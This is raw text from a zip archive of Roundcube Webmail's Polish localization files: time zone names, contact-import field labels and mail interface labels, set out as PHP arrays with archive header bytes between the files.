$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nawakszut';
$labels['tz:africa:ouagadougou'] = 'Wagadugu';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'Sao Tome';
$labels['tz:africa:tripoli'] = 'Trypolis';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhuk';
$labels['tz:america'] = 'Ameryka';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentyna';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asuncion';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Kajenna';
$labels['tz:america:cayman'] = 'Kajmany';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Kostaryka';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'Salwador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Gwadelupa';
$labels['tz:america:guatemala'] = 'Gwatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Gujana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Hawana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamajka';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martynika';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Meksyk';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'Nowy Jork';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Dakota Północna';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Portoryko';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_kitts'] = 'Saint Kitts i Nevis';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktyka';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arktyka';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Azja';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Ałmaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Aszchabad';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrajn';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Bejrut';
$labels['tz:asia:bishkek'] = 'Biszkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damaszek';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubaj';
$labels['tz:asia:dushanbe'] = 'Duszanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkuck';
$labels['tz:asia:jakarta'] = 'Dżakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerozolima';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamczatka';
$labels['tz:asia:karachi'] = 'Karaczi';
$labels['tz:asia:kathmandu'] = 'Katmandu';
$labels['tz:asia:khandyga'] = 'Kandyga';
$labels['tz:asia:kolkata'] = 'Kalkuta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnojarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwejt';
$labels['tz:asia:macau'] = 'Makao';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muskat';
$labels['tz:asia:nicosia'] = 'Nikozja';
$labels['tz:asia:novokuznetsk'] = 'Nowokuznieck';
$labels['tz:asia:novosibirsk'] = 'Nowosybirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pjongjang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Rijad';
$labels['tz:asia:sakhalin'] = 'Sachalin';
$labels['tz:asia:samarkand'] = 'Samarkanda';
$labels['tz:asia:seoul'] = 'Seul';
$labels['tz:asia:shanghai'] = 'Szanghaj';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Tajpej';
$labels['tz:asia:tashkent'] = 'Taszkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ułan Bator';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Wientian';
$labels['tz:asia:vladivostok'] = 'Władywostok';
$labels['tz:asia:yakutsk'] = 'Jakuck';
$labels['tz:asia:yangon'] = 'Rangun';
$labels['tz:asia:yekaterinburg'] = 'Jekaterynburg';
$labels['tz:asia:yerevan'] = 'Erywań';
$labels['tz:atlantic'] = 'Atlantyk';
$labels['tz:atlantic:azores'] = 'Azory';
$labels['tz:atlantic:bermuda'] = 'Bermudy';
$labels['tz:atlantic:canary'] = 'Wyspy Kanaryjskie';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Wyspy Owcze';
$labels['tz:atlantic:madeira'] = 'Madera';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'Georgia Południowa';
$labels['tz:atlantic:st_helena'] = 'Wyspa Świętej Heleny';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelajda';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andora';
$labels['tz:europe:astrakhan'] = 'Astrachań';
$labels['tz:europe:athens'] = 'Ateny';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratysława';
$labels['tz:europe:brussels'] = 'Bruksela';
$labels['tz:europe:bucharest'] = 'Bukareszt';
$labels['tz:europe:budapest'] = 'Budapeszt';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Kiszyniów';
$labels['tz:europe:copenhagen'] = 'Kopenhaga';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Wyspa Man';
$labels['tz:europe:istanbul'] = 'Istambuł';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kijów';
$labels['tz:europe:kirov'] = 'Kirów';
$labels['tz:europe:lisbon'] = 'Lizbona';
$labels['tz:europe:ljubljana'] = 'Lublana';
$labels['tz:europe:london'] = 'Londyn';
$labels['tz:europe:luxembourg'] = 'Luksemburg';
$labels['tz:europe:madrid'] = 'Madryd';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:minsk'] = 'Mińsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Moskwa';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paryż';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praga';
$labels['tz:europe:riga'] = 'Ryga';
$labels['tz:europe:rome'] = 'Rzym';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajewo';
$labels['tz:europe:saratov'] = 'Saratow';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Sztokholm';
$labels['tz:europe:tallinn'] = 'Tallin';
$labels['tz:europe:vatican'] = 'Watykan';
$labels['tz:europe:vienna'] = 'Wiedeń';
$labels['tz:europe:vilnius'] = 'Wilno';
$labels['tz:europe:volgograd'] = 'Wołgograd';
$labels['tz:europe:warsaw'] = 'Warszawa';
$labels['tz:europe:zagreb'] = 'Zagrzeb';
$labels['tz:europe:zurich'] = 'Zurych';
$labels['tz:pacific'] = 'Pacyfik';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
PK
h�\o��	�	(program/localization/pl_PL/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | language/pl_PL/csv2vcard.inc                                          |
 |                                                                       |
 | Language file of the Roundcube Webmail client                         |
 | Copyright (C) 2005-2012, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Rocznica";
$map['assistants_name'] = "Asystent";
$map['assistants_phone'] = "Telefon asystenta";
$map['birthday'] = "Urodziny";
$map['business_city'] = "Miasto (biuro)";
$map['business_countryregion'] = "Kraj/region (biuro)";
$map['business_fax'] = "Faks służbowy";
$map['business_phone'] = "Telefon służbowy";
$map['business_phone_2'] = "Telefon służbowy 2";
$map['business_postal_code'] = "Kod pocztowy (biuro)";
$map['business_state'] = "Województwo (biuro)";
$map['business_street'] = "Ulica (biuro)";
$map['categories'] = "Kategorie";
$map['company'] = "Firma";
$map['department'] = "Oddział";
$map['email_address'] = "Adres e-mail";
$map['first_name'] = "Imię";
$map['gender'] = "Płeć";
$map['home_city'] = "Miasto (dom)";
$map['home_countryregion'] = "Kraj/region (dom)";
$map['home_fax'] = "Faks domowy";
$map['home_phone'] = "Telefon domowy";
$map['home_phone_2'] = "Home Phone 2";
$map['home_postal_code'] = "Kod pocztowy (dom)";
$map['home_state'] = "Województwo (dom)";
$map['home_street'] = "Ulica (dom)";
$map['job_title'] = "Stanowisko";
$map['last_name'] = "Nazwisko";
$map['managers_name'] = "Menadżer";
$map['middle_name'] = "Drugie imię";
$map['mobile_phone'] = "Telefon komórkowy";
$map['notes'] = "Notatki";
$map['pager'] = "Pager";
$map['primary_phone'] = "Telefon główny";
$map['title'] = "Tytuł";
$map['web_page'] = "Osobista strona sieci Web";
$map['nickname'] = "Przydomek";
PK
h�\�a;fلل%program/localization/pl_PL/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Witamy w $product';
$labels['username'] = 'Nazwa użytkownika';
$labels['password'] = 'Hasło';
$labels['server'] = 'Serwer';
$labels['login'] = 'Zaloguj';
$labels['oauthlogin'] = 'Zaloguj z $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Wyloguj';
$labels['mail'] = 'Poczta';
$labels['settings'] = 'Ustawienia';
$labels['addressbook'] = 'Książka adresowa';
$labels['darkmode'] = 'Tryb ciemny';
$labels['lightmode'] = 'Tryb jasny';
$labels['inbox'] = 'Odebrane';
$labels['drafts'] = 'Kopie robocze';
$labels['sent'] = 'Wysłane';
$labels['trash'] = 'Kosz';
$labels['junk'] = 'Spam';
$labels['show_real_foldernames'] = 'Pokaż prawdziwe nazwy dla folderów specjalnych';
$labels['subject'] = 'Temat';
$labels['from'] = 'Od';
$labels['sender'] = 'Nadawca';
$labels['to'] = 'Do';
$labels['cc'] = 'Kopia';
$labels['bcc'] = 'Ukryta kopia';
$labels['replyto'] = 'Odpowiedź do';
$labels['followupto'] = 'Kontynuacja do';
$labels['date'] = 'Data';
$labels['size'] = 'Rozmiar';
$labels['priority'] = 'Priorytet';
$labels['organization'] = 'Organizacja';
$labels['readstatus'] = 'Przeczytano';
$labels['listoptions'] = 'Opcje listy...';
$labels['listoptionstitle'] = 'Opcje listy';
$labels['mailboxlist'] = 'Foldery';
$labels['messagesfromto'] = 'Wiadomości od $from do $to z $count';
$labels['threadsfromto'] = 'Wątki od $from do $to z $count';
$labels['messagenrof'] = 'Wiadomość $nr z $count';
$labels['fromtoshort'] = '$from - $to z $count';
$labels['copy'] = 'Kopiuj';
$labels['move'] = 'Przenieś';
$labels['moveto'] = 'Przenieś do...';
$labels['copyto'] = 'Kopiuj do...';
$labels['download'] = 'Pobierz';
$labels['open'] = 'Otwórz';
$labels['showattachment'] = 'Pokaż';
$labels['showanyway'] = 'Pokaż';
$labels['filename'] = 'Nazwa pliku';
$labels['filesize'] = 'Rozmiar pliku';
$labels['addtoaddressbook'] = 'Dodaj do książki adresowej';
$labels['sun'] = 'Nd';
$labels['mon'] = 'Pn';
$labels['tue'] = 'Wt';
$labels['wed'] = 'Śr';
$labels['thu'] = 'Czw';
$labels['fri'] = 'Pt';
$labels['sat'] = 'Sb';
$labels['sunday'] = 'Niedziela';
$labels['monday'] = 'Poniedziałek';
$labels['tuesday'] = 'Wtorek';
$labels['wednesday'] = 'Środa';
$labels['thursday'] = 'Czwartek';
$labels['friday'] = 'Piątek';
$labels['saturday'] = 'Sobota';
$labels['jan'] = 'Sty';
$labels['feb'] = 'Lut';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Kwi';
$labels['may'] = 'Maj';
$labels['jun'] = 'Cze';
$labels['jul'] = 'Lip';
$labels['aug'] = 'Sie';
$labels['sep'] = 'Wrz';
$labels['oct'] = 'Paź';
$labels['nov'] = 'Lis';
$labels['dec'] = 'Gru';
$labels['longjan'] = 'styczeń';
$labels['longfeb'] = 'luty';
$labels['longmar'] = 'marzec';
$labels['longapr'] = 'kwiecień';
$labels['longmay'] = 'maj';
$labels['longjun'] = 'czerwiec';
$labels['longjul'] = 'lipiec';
$labels['longaug'] = 'sierpień';
$labels['longsep'] = 'wrzesień';
$labels['longoct'] = 'październik';
$labels['longnov'] = 'listopad';
$labels['longdec'] = 'grudzień';
$labels['today'] = 'Dzisiaj';
$labels['refresh'] = 'Odśwież';
$labels['checkmail'] = 'Sprawdź skrzynkę';
$labels['compose'] = 'Utwórz';
$labels['writenewmessage'] = 'Utwórz nową wiadomość';
$labels['reply'] = 'Odpowiedz';
$labels['replytomessage'] = 'Odpowiedz nadawcy';
$labels['replytoallmessage'] = 'Odpowiedz wszystkim';
$labels['replyall'] = 'Odpowiedz wszystkim';
$labels['replylist'] = 'Odpowiedz na listę';
$labels['forward'] = 'Przekaż';
$labels['forwardinline'] = 'Prześlij w treści';
$labels['forwardattachment'] = 'Prześlij jako załącznik';
$labels['forwardmessage'] = 'Prześlij dalej';
$labels['bouncemsg'] = 'Prześlij ponownie (odbij)';
$labels['bounce'] = 'Prześlij ponownie';
$labels['deletemessage'] = 'Usuń wiadomości';
$labels['movemessagetotrash'] = 'Przenieś wiadomości do Kosza';
$labels['printmessage'] = 'Drukuj wiadomość';
$labels['previousmessage'] = 'Poprzednia wiadomość';
$labels['firstmessage'] = 'Pierwsza wiadomość';
$labels['nextmessage'] = 'Następna wiadomość';
$labels['lastmessage'] = 'Ostatnia wiadomość';
$labels['backtolist'] = 'Pokaż listę wiadomości';
$labels['viewsource'] = 'Pokaż źródło';
$labels['mark'] = 'Oznacz';
$labels['markmessages'] = 'Oznacz wiadomości';
$labels['markread'] = 'Jako przeczytane';
$labels['markunread'] = 'Jako nieprzeczytane';
$labels['markflagged'] = 'Jako oflagowane';
$labels['markunflagged'] = 'Jako nieoflagowane';
$labels['moreactions'] = 'Więcej akcji...';
$labels['markallread'] = 'Oznacz wszystkie jako przeczytane';
$labels['folders-cur'] = 'Tylko wybrany folder';
$labels['folders-sub'] = 'Wybrany folder i podfoldery';
$labels['folders-all'] = 'Wszystkie foldery';
$labels['more'] = 'Więcej';
$labels['back'] = 'Wstecz';
$labels['options'] = 'Opcje';
$labels['composeoptions'] = 'Opcje';
$labels['optionsandattachments'] = 'Opcje i załączniki';
$labels['actions'] = 'Akcje';
$labels['first'] = 'Pierwsza';
$labels['last'] = 'Ostatnia';
$labels['previous'] = 'Poprzednia';
$labels['next'] = 'Następna';
$labels['select'] = 'Zaznacz';
$labels['selection'] = 'Zaznaczenie';
$labels['all'] = 'Wszystkie';
$labels['none'] = 'Brak';
$labels['currpage'] = 'Bieżąca strona';
$labels['isread'] = 'Przeczytane';
$labels['unread'] = 'Nieprzeczytane';
$labels['flagged'] = 'Oznaczone';
$labels['unflagged'] = 'Nieoznaczone';
$labels['unanswered'] = 'Bez odpowiedzi';
$labels['withattachment'] = 'Z załącznikiem';
$labels['deleted'] = 'Usunięte';
$labels['undeleted'] = 'Nieusunięte';
$labels['replied'] = 'Odpowiedziana';
$labels['forwarded'] = 'Przekazane';
$labels['invert'] = 'Odwróć';
$labels['filter'] = 'Filtr';
$labels['list'] = 'Lista';
$labels['threads'] = 'Wątki';
$labels['expand-all'] = 'Rozwiń wszystkie';
$labels['expand-unread'] = 'Rozwiń nieprzeczytane';
$labels['collapse-all'] = 'Zwiń wszystkie';
$labels['threaded'] = 'Powątkowane';
$labels['showunread'] = 'Pokaż nieprzeczytane';
$labels['autoexpand_threads'] = 'Rozwijaj wątki';
$labels['do_expand'] = 'wszystkie';
$labels['expand_only_unread'] = 'tylko nieprzeczytane';
$labels['fromto'] = 'Od/Do';
$labels['flag'] = 'Flaga';
$labels['attachment'] = 'Załącznik';
$labels['nonesort'] = 'Brak';
$labels['sentdate'] = 'Data wysyłki';
$labels['arrival'] = 'Data odbioru';
$labels['asc'] = 'rosnąco';
$labels['desc'] = 'malejąco';
$labels['listcolumns'] = 'Kolumny';
$labels['listsorting'] = 'Porządek sortowania';
$labels['listorder'] = 'Kierunek sortowania';
$labels['listmode'] = 'Typ listy';
$labels['lmode'] = 'Rodzaj listy';
$labels['layout'] = 'Układ';
$labels['layoutwidescreen'] = 'Szeroki ekran';
$labels['layoutdesktop'] = 'Pulpit';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Szeroki ekran (widok 3-kolumnowy)';
$labels['layoutdesktopdesc'] = 'Pulpit (szeroka lista i podgląd wiadomości poniżej)';
$labels['layoutlistdesc'] = 'Lista (bez podglądu wiadomości)';
$labels['folderactions'] = 'Działania na folderach...';
$labels['compact'] = 'Porządkuj';
$labels['empty'] = 'Opróżnij';
$labels['importmessages'] = 'Import wiadomości';
$labels['mailimportdesc'] = 'Możesz zaimportować pliki w formacie <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> lub <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Wiele plików może być skompresowane przy użyciu archiwum zip.';
$labels['quota'] = 'Użyte miejsce';
$labels['unknown'] = 'nieznane';
$labels['unlimited'] = 'bez limitu';
$labels['quotatype'] = 'Typ limitu';
$labels['quotatotal'] = 'Ograniczenie';
$labels['quotaused'] = 'Używany';
$labels['quotastorage'] = 'Przestrzeń dyskowa';
$labels['quotamessage'] = 'Ilość wiadomości';
$labels['shortheaderdate'] = 'W dniu $date';
$labels['shortheaderto'] = 'Do $to w dniu $date';
$labels['shortheaderfrom'] = 'Od $from w dniu $date';
$labels['quicksearch'] = 'Szybkie wyszukiwanie';
$labels['searchplaceholder'] = 'Szukaj...';
$labels['resetsearch'] = 'Wyczyść filtr';
$labels['searchmod'] = 'Parametry wyszukiwania';
$labels['msgtext'] = 'Cała wiadomość';
$labels['body'] = 'Treść';
$labels['type'] = 'Typ';
$labels['namex'] = 'Nazwa';
$labels['searchscope'] = 'Zakres';
$labels['currentfolder'] = 'Bieżący folder';
$labels['subfolders'] = 'Ten i podfoldery';
$labels['allfolders'] = 'Wszystkie foldery';
$labels['searchinterval-1W'] = 'starsza niż tydzień';
$labels['searchinterval-1M'] = 'starsza niż miesiąc';
$labels['searchinterval-1Y'] = 'starsza niż rok';
$labels['searchinterval1W'] = 'młodsza niż tydzień';
$labels['searchinterval1M'] = 'młodsza niż miesiąc';
$labels['searchinterval1Y'] = 'młodsza niż rok';
$labels['openinextwin'] = 'Otwórz w nowym oknie';
$labels['emlsave'] = 'Pobierz (.eml)';
$labels['changeformattext'] = 'Wyświetl w formacie tekstowym';
$labels['changeformathtml'] = 'Wyświetl w formacie HTML';
$labels['editasnew'] = 'Edytuj jako nową';
$labels['send'] = 'Wyślij';
$labels['sendmessage'] = 'Wyślij teraz';
$labels['savemessage'] = 'Zapisz kopię roboczą';
$labels['addattachment'] = 'Dołącz plik';
$labels['charset'] = 'Kodowanie znaków';
$labels['editortype'] = 'Typ edytora';
$labels['returnreceipt'] = 'Potwierdzenie odbioru';
$labels['dsn'] = 'Status dostarczenia (DSN)';
$labels['mailreplyintro'] = 'W dniu $date, $sender napisał(a):';
$labels['originalmessage'] = 'Wiadomość oryginalna';
$labels['selectimage'] = 'Wybierz obraz';
$labels['addimage'] = 'Dodaj obraz';
$labels['selectmedia'] = 'Wybierz film';
$labels['addmedia'] = 'Dodaj film';
$labels['encrypt'] = 'Szyfrowanie';
$labels['encryptmessage'] = 'Szyfruj wiadomość';
$labels['encryptmessagemailvelope'] = 'Szyfruj wiadomość używając Mailvelope';
$labels['importpubkeys'] = 'Importuj klucze publiczne';
$labels['encryptedsendialog'] = 'Wysyłanie zaszyfrowanej wiadomości';
$labels['encryptandsign'] = 'Szyfruj i podpisz';
$labels['keyid'] = 'ID Klucza';
$labels['keylength'] = 'Bitów';
$labels['keyexpired'] = 'Przedawniony';
$labels['keyrevoked'] = 'Unieważniony';
$labels['bccinstead'] = 'Użyj Bcc';
$labels['addheader'] = 'Dodaj odbiorcę (nagłówek)';
$labels['insert'] = 'Wstaw';
$labels['insertcontact'] = 'Wstaw kontakt(y)';
$labels['recipient'] = 'Odbiorca';
$labels['recipientedit'] = 'Edycja odbiorcy';
$labels['editidents'] = 'Edytuj tożsamości';
$labels['spellcheck'] = 'Pisownia';
$labels['checkspelling'] = 'Sprawdź pisownię';
